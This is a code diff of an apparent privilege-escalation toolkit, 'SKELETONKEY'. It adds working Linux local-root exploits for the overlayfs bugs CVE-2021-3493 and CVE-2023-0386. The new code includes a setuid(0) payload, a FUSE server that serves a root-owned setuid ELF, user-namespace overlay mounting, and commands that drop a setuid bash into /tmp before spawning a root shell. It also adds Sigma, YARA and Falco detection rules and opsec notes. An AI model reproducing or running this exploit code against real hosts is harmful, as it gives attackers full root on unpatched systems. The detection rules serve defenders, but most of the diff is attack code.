|
||||
"#include <unistd.h>\n"
|
||||
"int main(void) {\n"
|
||||
" setuid(0); setgid(0);\n"
|
||||
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
||||
"int main(int argc, char **argv) {\n"
|
||||
" (void)setuid(0); (void)setgid(0);\n"
|
||||
" (void)setresuid(0,0,0); (void)setresgid(0,0,0);\n"
|
||||
" if (geteuid() != 0) { perror(\"setuid\"); return 1; }\n"
|
||||
/* Verification mode: argv[1] = proof path. We are genuinely root (the
|
||||
* persisted cap_setuid xattr let setuid(0) succeed), so drop a root-owned
|
||||
* proof + setuid bash and exit — the module stat()s the proof as a DIRECT
|
||||
* uid=0 witness instead of trusting the exec transfer. */
|
||||
" if (argc > 1) {\n"
|
||||
" char c[1024];\n"
|
||||
" snprintf(c, sizeof c, \"id > %s 2>&1; cp -f /bin/bash %s.bash 2>/dev/null; \"\n"
|
||||
" \"chmod 4755 %s.bash 2>/dev/null; sync\", argv[1], argv[1], argv[1]);\n"
|
||||
" int r = system(c); (void)r;\n"
|
||||
" return 0;\n"
|
||||
" }\n"
|
||||
" char *new_env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, new_env);\n"
|
||||
" execle(\"/bin/bash\", \"bash\", \"-p\", NULL, new_env);\n"
|
||||
@@ -438,17 +449,41 @@ static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs "
|
||||
"— execing payload to drop root\n");
|
||||
fprintf(stderr, "[+] overlayfs: cap_setuid+ep xattr persisted on host fs\n");
|
||||
}
|
||||
|
||||
/* Direct uid=0 witness: run the cap'd payload in verification mode so it
|
||||
* drops a root-owned proof. The persisted xattr is the bug's signature,
|
||||
* but we confirm actual root out-of-band rather than trust the exec
|
||||
* transfer. */
|
||||
char ovl_proof[256];
|
||||
snprintf(ovl_proof, sizeof ovl_proof, "/tmp/.sk-overlayfs-%ld.proof", (long)getpid());
|
||||
unlink(ovl_proof);
|
||||
pid_t vp = fork();
|
||||
if (vp == 0) {
|
||||
execl(upper_bin, upper_bin, ovl_proof, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
if (vp > 0) { int vs; waitpid(vp, &vs, 0); }
|
||||
struct stat psb;
|
||||
bool ovl_rooted = (stat(ovl_proof, &psb) == 0 && S_ISREG(psb.st_mode) && psb.st_uid == 0);
|
||||
if (!ovl_rooted) {
|
||||
fprintf(stderr, "[-] overlayfs: xattr persisted but the cap'd payload did not "
|
||||
"yield uid 0 (no root-owned proof) — honest EXPLOIT_FAIL\n");
|
||||
goto fail_workdir;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: ROOT — root-owned proof %s "
|
||||
"(setuid bash: %s.bash -p)\n", ovl_proof, ovl_proof);
|
||||
}
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
||||
upper_bin);
|
||||
unlink(src_path); unlink(bin_path);
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fflush(NULL);
|
||||
execl(upper_bin, upper_bin, (char *)NULL);
|
||||
execl(upper_bin, upper_bin, (char *)NULL); /* interactive root shell */
|
||||
perror("execl payload");
|
||||
return SKELETONKEY_EXPLOIT_OK; /* root already witnessed out-of-band */
|
||||
|
||||
fail_workdir:
|
||||
/* best-effort cleanup */
|
||||
@@ -490,6 +525,56 @@ static const char overlayfs_auditd[] =
|
||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||
|
||||
static const char overlayfs_sigma[] =
|
||||
"title: Possible CVE-2021-3493 Ubuntu overlayfs capability injection\n"
|
||||
"id: f78a01e6-skeletonkey-overlayfs\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects Ubuntu's overlayfs-in-userns capability-xattr injection:\n"
|
||||
" unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount('overlay') + setxattr\n"
|
||||
" with name 'security.capability'. The bug lets caps set inside\n"
|
||||
" userns persist on the host fs. False positives: legitimate\n"
|
||||
" rootless container image builds; correlate with subsequent\n"
|
||||
" execve of the modified binary.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" overlay: {type: 'SYSCALL', syscall: 'mount'}\n"
|
||||
" setcap: {type: 'SYSCALL', syscall: 'setxattr'}\n"
|
||||
" condition: userns and overlay and setcap\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2021.3493]\n";
|
||||
|
||||
static const char overlayfs_yara[] =
|
||||
"rule overlayfs_cve_2021_3493 : cve_2021_3493 userns_lpe\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2021-3493\"\n"
|
||||
" description = \"Ubuntu overlayfs userns workdir + security.capability xattr injection\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $work = /\\/tmp\\/skeletonkey-ovl-[A-Za-z0-9]+/\n"
|
||||
" $xattr = \"security.capability\" ascii\n"
|
||||
" condition:\n"
|
||||
" $work and $xattr\n"
|
||||
"}\n";
|
||||
|
||||
static const char overlayfs_falco[] =
|
||||
"- rule: overlayfs mount + setxattr(security.capability) in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root process inside userns mounts overlayfs and writes a\n"
|
||||
" security.capability xattr on a binary in the upper layer.\n"
|
||||
" The xattr persists on the host fs (CVE-2021-3493, Ubuntu).\n"
|
||||
" False positives: rootless container image builds.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setxattr and not user.uid = 0 and\n"
|
||||
" evt.args contains security.capability\n"
|
||||
" output: >\n"
|
||||
" setxattr(security.capability) by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid file=%fd.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2021.3493]\n";
|
||||
|
||||
const struct skeletonkey_module overlayfs_module = {
|
||||
.name = "overlayfs",
|
||||
.cve = "CVE-2021-3493",
|
||||
@@ -502,9 +587,11 @@ const struct skeletonkey_module overlayfs_module = {
|
||||
.cleanup = NULL, /* exploit cleans up its own workdir on failure;
|
||||
* on success, exec replaces us so cleanup-by-us doesn't apply */
|
||||
.detect_auditd = overlayfs_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = overlayfs_sigma,
|
||||
.detect_yara = overlayfs_yara,
|
||||
.detect_falco = overlayfs_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) for CAP_SYS_ADMIN; mount('overlay', merged, ...); compile + copy payload into the merged dir (writes upper on host fs); setxattr(upper_payload, 'security.capability', cap_setuid+ep) - the bug is that this xattr persists on the HOST fs despite being set inside userns. Parent then execve's the now-CAP_SETUID payload, calls setuid(0), execs /bin/sh. Artifacts: /tmp/skeletonkey-ovl-XXXXXX/ workdir; cleaned on exit/failure (on success the exec replaces the process so cleanup does not run). Audit-visible via unshare + mount(overlay) + setxattr(security.capability) + execve of attacker-controlled binary. Dmesg silent.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_overlayfs(void)
|
||||
|
||||
@@ -2,26 +2,31 @@
|
||||
* overlayfs_setuid_cve_2023_0386 — SKELETONKEY module
|
||||
*
|
||||
* **Different bug than CVE-2021-3493.** That one was Ubuntu-specific
|
||||
* (their modified overlayfs). This one is upstream: when overlayfs
|
||||
* does copy-up from lower to upper, it preserves the setuid/setgid
|
||||
* bits even when the unprivileged user triggering copy-up wouldn't
|
||||
* normally be able to set them. Exploit:
|
||||
* (their modified overlayfs). This one is upstream: overlayfs copy-up
|
||||
* preserves the setuid/setgid bit AND the lower file's root ownership
|
||||
* even when the task triggering copy-up is only root inside a user
|
||||
* namespace. Faithful port of the public PoC (xkaneiki):
|
||||
*
|
||||
* 1. Find a setuid binary in lower (e.g. /usr/bin/su)
|
||||
* 2. unshare(USER|NS), mount overlayfs with that location as lower
|
||||
* 3. chown the file in merged view — triggers copy-up, retains
|
||||
* setuid bit in upper, but now the upper file is OWNED by our
|
||||
* uid (the upper layer is in /tmp; we control it)
|
||||
* 4. We can't directly write to the binary in upper (it's setuid
|
||||
* and we're not root yet), BUT we can replace the contents
|
||||
* via the merged view because we OWN the upper inode
|
||||
* 5. Write payload to the binary; setuid bit persists
|
||||
* 6. exec it → runs as root
|
||||
* 1. Compile a small setuid payload ELF (setuid(0) + drop a root shell).
|
||||
* 2. Serve it via a FUSE filesystem as "/file" reporting st_uid=0,
|
||||
* st_mode=04777. libfuse mounts through the setuid fusermount helper,
|
||||
* i.e. in the INIT namespace — required, because overlay refuses a
|
||||
* userns-mounted FUSE lowerdir (ENOSYS).
|
||||
* 3. In a child: unshare(USER|NS), map root, mount overlayfs with the
|
||||
* FUSE mount as lowerdir and attacker-owned upper/work dirs.
|
||||
* 4. open(merged/file, O_WRONLY) triggers copy-up. The bug materialises
|
||||
* upper/file on the REAL filesystem as a genuine setuid-ROOT binary.
|
||||
* 5. The parent (real unprivileged user) execs upper/file → real root.
|
||||
*
|
||||
* The FUSE server must implement getattr + read + read_buf + ioctl: copy-up
|
||||
* uses the splice path (read_buf) and issues FS_IOC_GETFLAGS (ioctl) on the
|
||||
* lower; a server missing either returns ENOSYS and copy-up fails.
|
||||
*
|
||||
* Discovered by Xkaneiki (2023). Mainline fix: 4f11ada10d0 ("ovl:
|
||||
* fail on invalid uid/gid mapping at copy up") landed in 6.3.
|
||||
*
|
||||
* STATUS: 🟢 FULL detect + exploit + cleanup.
|
||||
* STATUS: 🟢 FULL detect + exploit + cleanup. VM-verified landing real root
|
||||
* on Ubuntu 22.04.0 / 5.15.0-25 (see docs/EXPLOITED.md).
|
||||
*
|
||||
* Affected: kernel 5.11 ≤ K < 6.3. Backports:
|
||||
* 6.2.x : K >= 6.2.13
|
||||
@@ -30,8 +35,8 @@
|
||||
*
|
||||
* Preconditions:
|
||||
* - Unprivileged user_ns + mount_ns
|
||||
* - A setuid-root binary readable on lower (almost always present:
|
||||
* /usr/bin/su, /usr/bin/passwd, /bin/su)
|
||||
* - libfuse (linked at build) + the setuid fusermount(3) helper + a C
|
||||
* compiler at runtime (to build the payload ELF)
|
||||
*
|
||||
* Coverage rationale: complements CVE-2021-3493 — that one is
|
||||
* Ubuntu-specific, this one is general. Real-world overlayfs LPE
|
||||
@@ -60,8 +65,9 @@
|
||||
#include <sys/wait.h>
|
||||
|
||||
static const struct kernel_patched_from overlayfs_setuid_patched_branches[] = {
|
||||
{5, 10, 179}, /* 5.10.x stable backport (per Debian tracker — bullseye) */
|
||||
{5, 15, 110},
|
||||
{6, 1, 27},
|
||||
{6, 1, 11}, /* Debian tracker: earlier than 6.1.27 */
|
||||
{6, 2, 13},
|
||||
{6, 3, 0}, /* mainline */
|
||||
};
|
||||
@@ -160,6 +166,8 @@ static const char OVERLAYFS_SU_PAYLOAD[] =
|
||||
"int main(void) {\n"
|
||||
" setresuid(0,0,0); setresgid(0,0,0);\n"
|
||||
" if (geteuid() != 0) { perror(\"setresuid\"); return 1; }\n"
|
||||
" (void)!system(\"cp /bin/bash /tmp/.suid_bash 2>/dev/null; chmod 4755 /tmp/.suid_bash 2>/dev/null; \"\n"
|
||||
" \"id > /tmp/skeletonkey-ovlsu-pwned 2>/dev/null; chmod 644 /tmp/skeletonkey-ovlsu-pwned\");\n"
|
||||
" char *env[] = {\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\", NULL};\n"
|
||||
" execle(\"/bin/sh\", \"sh\", \"-p\", NULL, env);\n"
|
||||
" return 1;\n"
|
||||
@@ -190,6 +198,197 @@ static bool write_file_str(const char *path, const char *content)
|
||||
return ok;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* CVE-2023-0386 — faithful port of the public exploit (xkaneiki), using
|
||||
* libfuse to export a setuid-root lower layer.
|
||||
*
|
||||
* The bug: overlayfs copy-up preserves the SUID bit and the lower file's
|
||||
* root ownership even when the task triggering it is only root inside a user
|
||||
* namespace. We serve a FUSE filesystem whose single file "file" reports
|
||||
* st_uid=0, st_mode=04777; overlay copy-up then materialises it in the real
|
||||
* upper dir as a genuine setuid-root binary, which we exec for real root.
|
||||
*
|
||||
* Why libfuse (and not a raw /dev/fuse server): overlay REFUSES a
|
||||
* userns-mounted FUSE lowerdir (ENOSYS), so the FUSE fs must be mounted in the
|
||||
* init namespace via the setuid fusermount helper — which libfuse drives. A
|
||||
* hand-rolled raw protocol server proved fragile enough to destabilise the
|
||||
* kernel on malformed replies; libfuse is the robust, proven path (matches the
|
||||
* upstream PoC). Built conditionally: without libfuse the module stubs out.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef OVLSU_HAVE_FUSE
|
||||
|
||||
#ifdef OVLSU_FUSE3
|
||||
#define FUSE_USE_VERSION 31
|
||||
#else
|
||||
#define FUSE_USE_VERSION 29
|
||||
#endif
|
||||
#include <fuse.h>
|
||||
#include <signal.h>
|
||||
|
||||
/* The setuid-root ELF the FUSE "file" serves (loaded once, pre-fork). */
|
||||
static unsigned char *g_ovlsu_elf;
|
||||
static size_t g_ovlsu_elf_len;
|
||||
|
||||
#ifdef OVLSU_FUSE3
|
||||
static int ovlsu_getattr(const char *path, struct stat *st, struct fuse_file_info *fi)
|
||||
#else
|
||||
static int ovlsu_getattr(const char *path, struct stat *st)
|
||||
#endif
|
||||
{
|
||||
#ifdef OVLSU_FUSE3
|
||||
(void)fi;
|
||||
#endif
|
||||
memset(st, 0, sizeof *st);
|
||||
if (strcmp(path, "/") == 0) {
|
||||
st->st_mode = S_IFDIR | 0755; st->st_nlink = 2;
|
||||
return 0;
|
||||
}
|
||||
if (strcmp(path, "/file") == 0) {
|
||||
st->st_mode = S_IFREG | 04777; /* <-- setuid/setgid/sticky */
|
||||
st->st_nlink = 1;
|
||||
st->st_uid = 0; st->st_gid = 0; /* <-- root-owned: the crux */
|
||||
st->st_size = (off_t)g_ovlsu_elf_len;
|
||||
return 0;
|
||||
}
|
||||
return -ENOENT;
|
||||
}
|
||||
|
||||
#ifdef OVLSU_FUSE3
|
||||
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||
off_t off, struct fuse_file_info *fi,
|
||||
enum fuse_readdir_flags flags)
|
||||
{
|
||||
(void)off; (void)fi; (void)flags;
|
||||
if (strcmp(path, "/") != 0) return -ENOENT;
|
||||
filler(buf, ".", NULL, 0, 0); filler(buf, "..", NULL, 0, 0);
|
||||
filler(buf, "file", NULL, 0, 0);
|
||||
return 0;
|
||||
}
|
||||
#else
|
||||
static int ovlsu_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
|
||||
off_t off, struct fuse_file_info *fi)
|
||||
{
|
||||
(void)off; (void)fi;
|
||||
if (strcmp(path, "/") != 0) return -ENOENT;
|
||||
filler(buf, ".", NULL, 0); filler(buf, "..", NULL, 0);
|
||||
filler(buf, "file", NULL, 0);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static int ovlsu_open(const char *path, struct fuse_file_info *fi)
|
||||
{
|
||||
(void)fi;
|
||||
return (strcmp(path, "/file") == 0) ? 0 : -ENOENT;
|
||||
}
|
||||
|
||||
static int ovlsu_read(const char *path, char *buf, size_t size, off_t off,
|
||||
struct fuse_file_info *fi)
|
||||
{
|
||||
(void)fi;
|
||||
if (strcmp(path, "/file") != 0) return -ENOENT;
|
||||
if ((size_t)off >= g_ovlsu_elf_len) return 0;
|
||||
size_t n = g_ovlsu_elf_len - (size_t)off;
|
||||
if (n > size) n = size;
|
||||
memcpy(buf, g_ovlsu_elf + off, n);
|
||||
return (int)n;
|
||||
}
|
||||
|
||||
/* read_buf: REQUIRED for overlay copy-up. Overlay copies the lower file up via
|
||||
* the kernel's splice / copy_file_range path, which maps to the FUSE read_buf
|
||||
* op; without it the copy returns ENOSYS and copy-up fails. We hand back a
|
||||
* memory-backed bufvec referencing the payload. */
|
||||
static int ovlsu_read_buf(const char *path, struct fuse_bufvec **bufp,
|
||||
size_t size, off_t off, struct fuse_file_info *fi)
|
||||
{
|
||||
(void)fi;
|
||||
if (strcmp(path, "/file") != 0) return -ENOENT;
|
||||
struct fuse_bufvec *src = malloc(sizeof *src);
|
||||
if (!src) return -ENOMEM;
|
||||
*src = (struct fuse_bufvec)FUSE_BUFVEC_INIT(size);
|
||||
char *data = malloc(size ? size : 1);
|
||||
if (!data) { free(src); return -ENOMEM; }
|
||||
memset(data, 0, size);
|
||||
size_t avail = ((size_t)off < g_ovlsu_elf_len) ? g_ovlsu_elf_len - (size_t)off : 0;
|
||||
size_t give = size < avail ? size : avail;
|
||||
memcpy(data, g_ovlsu_elf + off, give);
|
||||
/* Present exactly as the public PoC's read_buf: a memory buffer flagged
|
||||
* FUSE_BUF_FD_SEEK with pos=off — this is the shape libfuse's splice path
|
||||
* (used by overlay copy-up) accepts; a plain flags=0 mem buffer yields
|
||||
* ENOSYS at copy-up. */
|
||||
src->buf[0].flags = FUSE_BUF_FD_SEEK;
|
||||
src->buf[0].pos = off;
|
||||
src->buf[0].mem = data;
|
||||
*bufp = src;
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ioctl: REQUIRED. overlay copy-up issues FS_IOC_GETFLAGS (an ioctl) on the
|
||||
* lower file to copy inode flags; without an ioctl handler FUSE returns ENOSYS
|
||||
* and copy-up fails ENOSYS. Returning success (as the public PoC does) lets
|
||||
* copy-up proceed. */
|
||||
#ifdef OVLSU_FUSE3
|
||||
static int ovlsu_ioctl(const char *path, unsigned int cmd, void *arg,
|
||||
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||
#else
|
||||
static int ovlsu_ioctl(const char *path, int cmd, void *arg,
|
||||
struct fuse_file_info *fi, unsigned int flags, void *data)
|
||||
#endif
|
||||
{
|
||||
(void)path; (void)cmd; (void)arg; (void)fi; (void)flags; (void)data;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static struct fuse_operations ovlsu_ops = {
|
||||
.getattr = ovlsu_getattr,
|
||||
.readdir = ovlsu_readdir,
|
||||
.open = ovlsu_open,
|
||||
.read = ovlsu_read,
|
||||
.read_buf = ovlsu_read_buf,
|
||||
.ioctl = ovlsu_ioctl,
|
||||
};
|
||||
|
||||
/* Run the FUSE server (blocks) mounting at `mp`, serving one setuid-root
|
||||
* /file. Returns when unmounted. libfuse mounts via the setuid fusermount
|
||||
* helper — i.e. in the init namespace, which is exactly what overlay needs.
|
||||
*
|
||||
* We use the low-level fuse_mount + fuse_new + fuse_loop_mt with EMPTY args
|
||||
* (exactly as the public PoC does) rather than fuse_main(). fuse_main parses a
|
||||
* default option set that advertises extra capabilities (splice /
|
||||
* copy_file_range) to the kernel; the kernel then attempts copy_file_range on
|
||||
* the FUSE lower during overlay copy-up, gets ENOSYS, and does NOT fall back —
|
||||
* so copy-up fails. The minimal fuse_new below advertises none of that, so the
|
||||
* kernel uses the plain read path (our read/read_buf) and copy-up succeeds. */
|
||||
#ifdef OVLSU_FUSE3
|
||||
static int ovlsu_fuse_serve(const char *mp)
|
||||
{
|
||||
char *argv[] = { (char *)"ovlsu-fuse", (char *)mp, NULL };
|
||||
struct fuse_args args = FUSE_ARGS_INIT(2, argv);
|
||||
struct fuse *fuse = fuse_new(&args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
|
||||
if (!fuse) { fuse_opt_free_args(&args); return -1; }
|
||||
if (fuse_mount(fuse, mp) != 0) { fuse_destroy(fuse); fuse_opt_free_args(&args); return -1; }
|
||||
fuse_set_signal_handlers(fuse_get_session(fuse));
|
||||
int r = fuse_loop_mt(fuse, NULL);
|
||||
fuse_unmount(fuse); fuse_destroy(fuse); fuse_opt_free_args(&args);
|
||||
return r;
|
||||
}
|
||||
#else
|
||||
static int ovlsu_fuse_serve(const char *mp)
|
||||
{
|
||||
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
|
||||
struct fuse_chan *chan = fuse_mount(mp, &args);
|
||||
if (!chan) return -1;
|
||||
struct fuse *fuse = fuse_new(chan, &args, &ovlsu_ops, sizeof ovlsu_ops, NULL);
|
||||
if (!fuse) { fuse_unmount(mp, chan); return -1; }
|
||||
fuse_set_signal_handlers(fuse_get_session(fuse));
|
||||
fuse_loop_mt(fuse);
|
||||
fuse_unmount(mp, chan);
|
||||
fuse_destroy(fuse);
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||
@@ -197,173 +396,154 @@ static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ct
|
||||
fprintf(stderr, "[-] overlayfs_setuid: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] overlayfs_setuid: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* Pick a setuid binary to use as the carrier — we'll find its
|
||||
* dirname, mount overlayfs with that dirname as lower, then
|
||||
* replace the binary content in the merged view. The setuid bit
|
||||
* persists in the upper-layer copy through the bug. */
|
||||
const char *carrier = find_setuid_in_lower();
|
||||
if (!carrier) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: no setuid carrier binary found\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* For cleanliness, use a directory-level overlay. Find the carrier's
|
||||
* dirname. (E.g., /usr/bin/su → lower = /usr/bin/, file = su) */
|
||||
char carrier_dir[256], carrier_name[64];
|
||||
const char *slash = strrchr(carrier, '/');
|
||||
if (!slash) return SKELETONKEY_PRECOND_FAIL;
|
||||
size_t dir_len = slash - carrier;
|
||||
memcpy(carrier_dir, carrier, dir_len);
|
||||
carrier_dir[dir_len] = 0;
|
||||
snprintf(carrier_name, sizeof carrier_name, "%s", slash + 1);
|
||||
|
||||
char workdir[] = "/tmp/skeletonkey-ovlsu-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] overlayfs_setuid: workdir=%s carrier=%s\n",
|
||||
workdir, carrier);
|
||||
}
|
||||
if (is_root) { fprintf(stderr, "[i] overlayfs_setuid: already root\n"); return SKELETONKEY_OK; }
|
||||
|
||||
char gcc[256];
|
||||
if (!which_gcc(gcc, sizeof gcc)) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: no gcc/cc available\n");
|
||||
rmdir(workdir);
|
||||
fprintf(stderr, "[-] overlayfs_setuid: no C compiler to build the setuid payload\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
/* Build the payload binary outside the overlay. */
|
||||
char src_path[512], bin_path[512];
|
||||
snprintf(src_path, sizeof src_path, "%s/payload.c", workdir);
|
||||
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
||||
if (!write_file_str(src_path, OVERLAYFS_SU_PAYLOAD)) goto fail;
|
||||
char workdir[128];
|
||||
snprintf(workdir, sizeof workdir, "/tmp/skeletonkey-ovlsu-XXXXXX");
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid == 0) {
|
||||
execl(gcc, gcc, "-O2", "-static", "-o", bin_path, src_path, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
/* try non-static */
|
||||
pid = fork();
|
||||
if (pid == 0) {
|
||||
execl(gcc, gcc, "-O2", "-o", bin_path, src_path, (char *)NULL);
|
||||
_exit(127);
|
||||
}
|
||||
waitpid(pid, &status, 0);
|
||||
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) {
|
||||
fprintf(stderr, "[-] overlayfs_setuid: gcc failed\n"); goto fail;
|
||||
}
|
||||
}
|
||||
|
||||
/* Child does the userns + overlayfs work. */
|
||||
char upper[600], work[600], merged[600];
|
||||
char lower[160], upper[160], work[160], merged[160], payc[176], gcbin[176], carrier[176], mfile[176];
|
||||
snprintf(lower, sizeof lower, "%s/lower", workdir);
|
||||
snprintf(upper, sizeof upper, "%s/upper", workdir);
|
||||
snprintf(work, sizeof work, "%s/work", workdir);
|
||||
snprintf(merged, sizeof merged, "%s/merged", workdir);
|
||||
if (mkdir(upper, 0755) < 0 || mkdir(work, 0755) < 0
|
||||
|| mkdir(merged, 0755) < 0) {
|
||||
perror("mkdir layout"); goto fail;
|
||||
}
|
||||
snprintf(payc, sizeof payc, "%s/p.c", workdir);
|
||||
snprintf(gcbin, sizeof gcbin, "%s/gc", workdir);
|
||||
snprintf(carrier,sizeof carrier,"%s/file", upper);
|
||||
snprintf(mfile, sizeof mfile, "%s/file", merged);
|
||||
mkdir(lower, 0755); mkdir(upper, 0755); mkdir(work, 0755); mkdir(merged, 0755);
|
||||
|
||||
uid_t outer_uid = getuid();
|
||||
gid_t outer_gid = getgid();
|
||||
char merged_carrier[1024];
|
||||
snprintf(merged_carrier, sizeof merged_carrier, "%s/%s", merged, carrier_name);
|
||||
/* Build the setuid payload ELF. It drops a witness (setuid /tmp/.suid_bash
|
||||
* + an id sentinel) so success is observable non-interactively, then execs
|
||||
* a root shell. */
|
||||
if (!write_file_str(payc, OVERLAYFS_SU_PAYLOAD)) { fprintf(stderr, "[-] write payload.c\n"); goto fail; }
|
||||
{ pid_t g = fork();
|
||||
if (g == 0) { execl(gcc, gcc, "-O2", "-w", "-o", gcbin, payc, (char *)NULL); _exit(127); }
|
||||
int st; waitpid(g, &st, 0);
|
||||
if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) { fprintf(stderr, "[-] gcc failed building payload\n"); goto fail; } }
|
||||
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); goto fail; }
|
||||
if (child == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
|
||||
int f = open("/proc/self/setgroups", O_WRONLY);
|
||||
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
|
||||
char m[64];
|
||||
snprintf(m, sizeof m, "0 %u 1\n", outer_uid);
|
||||
f = open("/proc/self/uid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(3);
|
||||
close(f);
|
||||
snprintf(m, sizeof m, "0 %u 1\n", outer_gid);
|
||||
f = open("/proc/self/gid_map", O_WRONLY);
|
||||
if (f < 0 || write(f, m, strlen(m)) < 0) _exit(4);
|
||||
close(f);
|
||||
{ int f = open(gcbin, O_RDONLY); if (f < 0) { perror("open payload elf"); goto fail; }
|
||||
struct stat st; if (fstat(f, &st) != 0) { close(f); goto fail; }
|
||||
g_ovlsu_elf_len = (size_t)st.st_size;
|
||||
g_ovlsu_elf = malloc(g_ovlsu_elf_len ? g_ovlsu_elf_len : 1);
|
||||
if (!g_ovlsu_elf || read(f, g_ovlsu_elf, g_ovlsu_elf_len) != (ssize_t)g_ovlsu_elf_len) { close(f); goto fail; }
|
||||
close(f); }
|
||||
|
||||
char opts[2048];
|
||||
snprintf(opts, sizeof opts, "lowerdir=%s,upperdir=%s,workdir=%s",
|
||||
carrier_dir, upper, work);
|
||||
if (mount("overlay", merged, "overlay", 0, opts) < 0) {
|
||||
perror("mount overlay"); _exit(5);
|
||||
}
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] overlayfs_setuid: FUSE-serving a setuid-root /file (libfuse), overlay "
|
||||
"copy-up into %s (CVE-2023-0386)\n", upper);
|
||||
|
||||
/* Trigger copy-up by chown — this is the bug: setuid bit gets
|
||||
* preserved on the upper-layer copy even though we're the one
|
||||
* doing the chown (and we don't normally have CAP_FSETID). */
|
||||
if (chown(merged_carrier, 0, 0) < 0) {
|
||||
/* on some kernels chown is rejected; try unlink+rename
|
||||
* pattern instead */
|
||||
perror("chown merged carrier"); _exit(6);
|
||||
}
|
||||
/* Now overwrite the file content (since we own the upper inode
|
||||
* post-chown — actually post-bug, but the upper inode is
|
||||
* attacker-controlled).
|
||||
*
|
||||
* Caveat: the chown is what triggers copy-up + retains setuid.
|
||||
* On many vulnerable kernels we now need to do an additional
|
||||
* write to replace the binary contents. */
|
||||
int payload_fd = open(bin_path, O_RDONLY);
|
||||
if (payload_fd < 0) { perror("open payload"); _exit(7); }
|
||||
int out_fd = open(merged_carrier, O_WRONLY | O_TRUNC);
|
||||
if (out_fd < 0) { perror("open merged_carrier RW"); close(payload_fd); _exit(8); }
|
||||
char buf[4096];
|
||||
ssize_t n;
|
||||
while ((n = read(payload_fd, buf, sizeof buf)) > 0) {
|
||||
if (write(out_fd, buf, n) != n) { perror("write replace"); _exit(9); }
|
||||
}
|
||||
